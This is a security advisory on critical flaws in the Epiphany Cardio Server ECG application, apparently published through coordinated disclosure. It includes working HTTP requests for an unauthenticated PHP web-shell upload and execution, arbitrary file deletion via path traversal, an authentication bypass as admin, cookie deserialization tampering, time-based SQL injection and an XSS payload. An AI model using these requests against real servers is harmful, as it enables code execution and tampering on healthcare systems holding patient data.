Skip to content

Latest commit

 

History

History
353 lines (282 loc) · 16.7 KB

ATREDIS-2019-0001.md

File metadata and controls

353 lines (282 loc) · 16.7 KB

ATREDIS-2019-0001: Epiphany Cardio Server Multiple Critical Severity Issues

Vendors

  • Epiphany Healthcare

Affected Products

  • Epiphany Cardio Server version 5.1.19.0. Additional versions are likely to be vulnerable.

Summary

Epiphany Cardio Server ("CardioServer"), a web application deployed by healthcare providers for ECG management, is vulnerable to mutiple critical-severity issues. The most serious of these issues would allow an attacker to upload and execute arbitrary code. These issues include the following types of vulnerabilities:

  • Improper Session Validation
  • Unauthenticated File Upload / Unvalidated File Upload
  • Unauthenticated Arbitrary File Deletion
  • Static/Global Encryption Key
  • Unauthenticated Encryption Key Disclosure
  • Use of Unauthenticated Encryption
  • Authentication Bypass
  • Unauthenticated PHP Object Serialization
  • Systemic SQL Injection
  • Systemic Cross-Site Scripting

Mitigation

Epiphany has remediated all but one of the issues identified in this report (unspecified) and recommends that all customers upgrade to Cardio Server 5.3. Epiphany has been contacting customers individually, encouraging them to upgrade the application to take advantage of new features and security enhancements. Epiphany customer questions can be directed to [email protected].

Atredis Partners recommends placing the Epiphany product web interface behind a firewall and controlling access through an authenticated gateway or VPN.

Credit

These issues were identified by Tom Steele and Chris Bellows of Atredis Partners

References

  • CERT VU#636363: https://www.kb.cert.org/vuls/id/636363/
  • CVE-2019-12604: Epiphany Cardio Server 5.1.19.0 allows Unauthenticated PHP Object Deserialization
  • CVE-2019-12605: Epiphany Cardio Server 5.1.19.0 allows PHP local file inclusion
  • CVE-2019-12606: Epiphany Cardio Server 5.1.19.0 allows XSS
  • CVE-2019-12607: Epiphany Cardio Server 5.1.19.0 allows Unauthenticated file upload and PHP local file inclusion
  • CVE-2019-12608: Epiphany Cardio Server 5.1.19.0 allows SQL Injection
  • CVE-2019-12609: Epiphany Cardio Server 5.1.19.0 allows Authentication Bypass via Encryption Key Disclosure
  • CVE-2019-12610: Epiphany Cardio Server 5.1.19.0 allows Unauthenticated Arbitrary File Deletion

Report Timeline

  • 2019-02-27: Atredis Partners sent an initial notification to vendor, including a draft advisory
  • 2019-02-27: Epiphany Healthcare confirmed receipt of the advisory
  • 2019-05-23: Atredis Partners provided a copy of the advisory to CERT/CC
  • 2019-07-10: Atredis Partners published the advisory

Technical Details

Improper Session Validation

Session authorization is enforced by PHP include() call to /library/sessionValid.php. This code validates that a server-side session is active and that variables within that session are adequately set. When a session is not valid, a snippet of JavaScript is included in the HTTP response with the desired effect of redirecting the user to the login page; however, there is no logic to stop the application logic from continuing to execute. As a result, it is possible for an attacker to execute application logic that uses this include for authorization, including /library/run_class.php, which can be used to require a file, instantiate a class, and execute a function within that class without proper authorization. This can be used to delete files, get directory listings, and execute other logic present in the application.

Request:

GET /library/run_class.php?class=pdfname&page=&action=filepage&folder=../../../../../../../../../../cs/php/upload/mods/ecg/raw_ecg-hp_xml HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response (JavaScript snippet and Directory Listing):

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.6.35
X-Powered-By: ASP.NET
Date: Wed, 02 Jan 2019 15:20:08 GMT
Connection: close
Content-Length: 3979

<script language="JavaScript">
		          top.logOut('Your CardioServer session has expired, please log-in again.');
                  </script>

<table class='tabOuter' style='width: 600px;'>
	<tr class="tabHdr">
		<td colspan="1" align="left"><span id='997'>PDF Import</span></td>
		<td colspan="2" align="right">9<span id='6729'> Files Found</span></td>
	</tr>
	<tr>
		<td colspan="3" class='tabSubHdr'><span id='6738'>Select a Sub Directory</span> <select id="folder" name="smfield^folder[]"  onchange='getFiles2()'  class="tabSrchParams">
					 <option value=""/> 	           	  </select> </td>
  </tr>
	<tr>
		<th class="tabResultsHdr">#</th>
		<th class="tabResultsHdr"><span id='6747'>File</span></th>
		<th class="tabResultsHdr"><span id='6756'>Select File</span></th>
	</tr>
		<tr class="tabResultsAlt">
		<td>1</td>
		<td>atredisx.php</td

Unauthenticated File Upload / Unvalidated File Upload

Code in the file /upload/upload_save.php is used to upload files to the server. This path does not require authentication. Additionally, files are not validated for content and can be saved with an arbitrary extension. A session variable is used to build a directory path when saving files, if a session has not been initiated, this upload path results in files being saved in a child of /upload. As a result, it is possible for an attacker to upload and execute PHP. If a session is initiated, files are saved into a directory that is not directly accessible by the webserver, however, other issues present in the application make it possible to execute this code.

Upload file:

POST /upload/upload_save.php HTTP/1.1
Host: example.com
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 343
Content-Type: multipart/form-data; boundary=6798320a0d2907d1ea481e301c098a4b

--6798320a0d2907d1ea481e301c098a4b
Content-Disposition: form-data; name="fileType"

Philips Touch/Trim
--6798320a0d2907d1ea481e301c098a4b
Content-Disposition: form-data; name="files[]"; filename="lugqmrbmhxun.php"
Content-Type: application/octet-stream

<? echo system($_GET['ejibldxukmfl']); ?>
--6798320a0d2907d1ea481e301c098a4b--

Call PHP:

GET /upload/mods/ecg/raw_ecg-hp_xml/lugqmrbmhxun.php?ejibldxukmfl=whoami HTTP/1.1
Host: example.com
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

Response:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.6.35
Set-Cookie: PHPSESSID=dsno8nfakd4dcq28e1cm124t76; path=/; secure; HttpOnly
X-Powered-By: ASP.NET
Date: Wed, 02 Jan 2019 16:05:58 GMT
Connection: close
Content-Length: 36

nt authority\iusr

Unauthenticated Arbitrary File Deletion

The pdfname class function deleteNew in /library/class_pdfname.php does not validate a request variable prior to passing it to the unlink function. Allowing an attacker to delete arbitrary files from the underlying file system. It is possible to call this class function using /library/run_class.php, which does not require authentication, and uses request variables to require a file, instantiate a class, and call a function on that class object.

Request:

GET /library/run_class.php?class=pdfname&page=&action=deleteNew&path=../upload/mods/ecg/raw_ecg-hp_xml/lugqmrbmhxun.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.6.35
X-Powered-By: ASP.NET
Date: Wed, 02 Jan 2019 15:55:16 GMT
Connection: close
Content-Length: 3191

-- snip --
				The file ../upload/mods/ecg/raw_ecg-hp_xml/lugqmrbmhxun.php was deleted.
-- snip --

Unauthenticated Encryption Key Disclosure / Static/Global Encryption Key / Authentication Bypass / Use of Unauthenticated Encryption

The path /webapi/testFormEncrypt.php requires that the request come from localhost and renders a form, that when submitted, is sent to /webapi/testResults.php, which itself does not enforce the same localhost check or any other form of authentication. Logic in these pages uses encryption to generate a string of ciphertext containing an arbitrary username and timestamp. This string can then be used to login to the application. For convience, testResults.php renders two links, that when clicked, will send the ciphertext string to /webapi/webTrust.php or /webapi/webTrust2.php, either of which will decrypt the provided ciphertext and create a valid session as the provided user. As a result, an attacker with knowledge of the logic in testResults.php can send a request and login to the application as an arbitrary user.

Request:

GET /webapi/testResults.php?username=admin&studyid=1&patid=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=35lu9ra5kki69dq5psgm5m7lb4
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Response:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: PHP/5.6.35
X-Powered-By: ASP.NET
Date: Wed, 02 Jan 2019 01:09:51 GMT
Connection: close
Content-Length: 2125
-- snip --
<form name="form1" method="post" action="../webapi/testResult.php">
<input type="hidden" name="studyid" value="1">

Response (Key Disclosure):

<table class="dataPanel" style="width:800px;">
  	<tr>
	    <td class="dataLabel">Key Used</td>
	    <td><span class="dataValue">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</span></td>
    </tr>

Response (Ciphertext Login String):

  	<tr>
	    <td class="dataLabel">Username Encrypted Epiphany</td>
	    <td><span class="dataValue">CB9XXXXXXXXXXXXXXXX5899B63862</span></td>
    </tr>
    <tr>
	    <td class="dataLabel">Username/ts/studyid Encrypted Epic</td>
	    <td><span class="dataValue">fRGKU99XXXXXXXXXXXXXXXXXXJklrC8</span></td>
    </tr>
    <tr>
	    <td class="dataLabel">Username Decrypted Epihany</td>
        <td><span class="dataValue">admin</span></td>
    </tr>
    <tr>
	    <td class="dataLabel">Username Decrypted Epic</td>
        <td><span class="dataValue">admin&2019010210951&1</span></td>
    </tr>
    <tr>
        <td class="dataLabel">Timestamp Encrypted</td>
        <td><span class="dataValue">18AXXXXXXXXXXXXXXXXXXXXXX80F712C1F4F</span></td>
    </tr>
    <tr>
        <td class="dataLabel">Timestamp Encrypted2</td>
        <td><span class="dataValue">C55201XXXXXXXXXXXXXXXXXXXXXXXX98018731C07</span></td>
    </tr>
    <tr>
        <td class="dataLabel">TimeStamp Decrypted</td>
        <td><span class="dataValue">2019010210951</span></td>
    </tr>

Response (Login Request):

    <tr>
        <td align="center"><a class="button_std" href="../webapi/webTrust.php?studyid=1&patid=1&wt_username=XXXXXXXXXXXXXXXXXXXXX&wt_timestamp=XXXXXXXXXXXXXXXXXXXXX&debug=true">&nbsp;&nbsp;Log-in&nbsp;&nbsp;</a></td>
        <td align="center"><a class="button_std" href="../webapi/webTrust2.php?wt_username=XXXXXXXXXXXXXXXXXXXXC8&patid=1&debug=true">&nbsp;&nbsp;Epic Log-in&nbsp;&nbsp;</a></td>
    </tr>

Additionally, testResults.php discloses the encryption key in the response body. This key appears to be shared across installations. As a result, even if the authentication issues are resolved, it could be possible for an attacker with knowledge of this key to compromise multiple installs.

Finally, there are several issues present in the encryption scheme, which uses the 3DES algorithm operating in CBC mode, including a static IV and the user supplied ciphertext is not properly validated using an authentication mechanism such an HMAC prior to attempting decryption.

Unauthenticated PHP Object Deserialization

The cookie cs_persist is a PHP object generated and parsed using serialize and unserialize respectively. An attacker can change the data in this cookie to affect data within the session and application, including the username. While this issue can lead to code execution, a gadget chain was not identified.

Cookie:

cs_persist=a%3A11%3A%7Bs%3A11%3A%22idc_systype%22%3Bs%3A1%3A%221%22%3Bs%3A4%3A%22name%22%3Bs%3A12%3A%22cardioserver%22%3Bs%3A6%3A%22image1%22%3Bs%3A16%3A%22cardioserver.gif%22%3Bs%3A6%3A%22image2%22%3Bs%3A14%3A%22epiphanyhd.png%22%3Bs%3A6%3A%22image3%22%3BN%3Bs%3A3%3A%22css%22%3Bs%3A6%3A%22cs.css%22%3Bs%3A5%3A%22name2%22%3Bs%3A13%3A%22Cardio+Server%22%3Bs%3A8%3A%22trans_id%22%3BN%3Bs%3A13%3A%22user_language%22%3Bs%3A7%3A%22english%22%3Bs%3A12%3A%22display_type%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22cmUser%22%3Bs%3A5%3A%22admin%22%3B%7D

URL Decode:

a:11:{s:11:"idc_systype";s:1:"1";s:4:"name";s:12:"cardioserver";s:6:"image1";s:16:"cardioserver.gif";s:6:"image2";s:14:"epiphanyhd.png";s:6:"image3";N;s:3:"css";s:6:"cs.css";s:5:"name2";s:13:"Cardio+Server";s:8:"trans_id";N;s:13:"user_language";s:7:"english";s:12:"display_type";s:0:"";s:6:"cmUser";s:5:"admin";}

Systemic SQL Injection

The application passes request variables directly into SQL strings throughout the codebase, resuling in SQL Injection. Areas where application logic does not expect the user to be authenticated, such as login forms, uses parameterized queries, however; areas where the user is expected to be authenticated do not. Due to broken session validation, it is possible for an unauthenticated user to reach vulnerable code and leverage these issues.

The following request demonstrates this issue. Note, SQL Injection is systemic throughout the application and this represents only a single instance.

Request:

GET /library/run_class.php?action=studyInbox&class=inbox&next=0&skip=&skipping=&smsort1=timestamp_performed&smsortorder1=ASC%2c(select*from(select(sleep(20)))a)&archive=&smfield^study_site_code[]=All&smfield^study_mod_type[]=All&smfield^study_status_confirmed[]=Confirmed&smfield^date_performed[]=All&smfield^inbox_find_field[]=pat_name_last&smfield^study_find[]=aaa&findNum=15 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

This request will cause a time delay that is comparable to the time provided in the request (approximately 20 seconds).

Systemic Cross-Site Scripting

There are many instances where user-supplied data is rendered in a response without being sanitized using a context-aware encoding scheme.

The following request demonstrates this issue. Note, Cross-Site Scripting is systemic throughout the application and this represents only a single instance.

Request:

GET /library/run_class.php?action=studyInbox&class=inbox&next=0&skip=&skipping=&smsort1=timestamp_performed&smsortorder1=ASC&archive=&smfield^study_site_code[]=All&smfield^study_mod_type[]=All&smfield^study_status_confirmed[]=Confirmed&smfield^date_performed[]=All&smfield^inbox_find_field[]=pat_name_last&smfield^study_find[]=%3cscript%3ealert(1)%3c%2fscript%3e&findNum=15 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=usjkbm7uq578qf8oe7nsosmof2; cs_persist=a%3A11%3A%7Bs%3A11%3A%22idc_systype%22%3Bs%3A1%3A%221%22%3Bs%3A4%3A%22name%22%3Bs%3A12%3A%22cardioserver%22%3Bs%3A6%3A%22image1%22%3Bs%3A16%3A%22cardioserver.gif%22%3Bs%3A6%3A%22image2%22%3Bs%3A14%3A%22epiphanyhd.png%22%3Bs%3A6%3A%22image3%22%3BN%3Bs%3A3%3A%22css%22%3Bs%3A6%3A%22cs.css%22%3Bs%3A5%3A%22name2%22%3Bs%3A13%3A%22Cardio+Server%22%3Bs%3A8%3A%22trans_id%22%3BN%3Bs%3A13%3A%22user_language%22%3Bs%3A7%3A%22english%22%3Bs%3A12%3A%22display_type%22%3Bs%3A6%3A%22normal%22%3Bs%3A6%3A%22cmUser%22%3Bs%3A7%3A%22default%22%3B%7D;

Response body:

		<th colspan='5' class='header1' id="ib_summary"> 0 <span id='1195'>Studies Found</span><br> =  <br> = <script>alert(1)</script></th>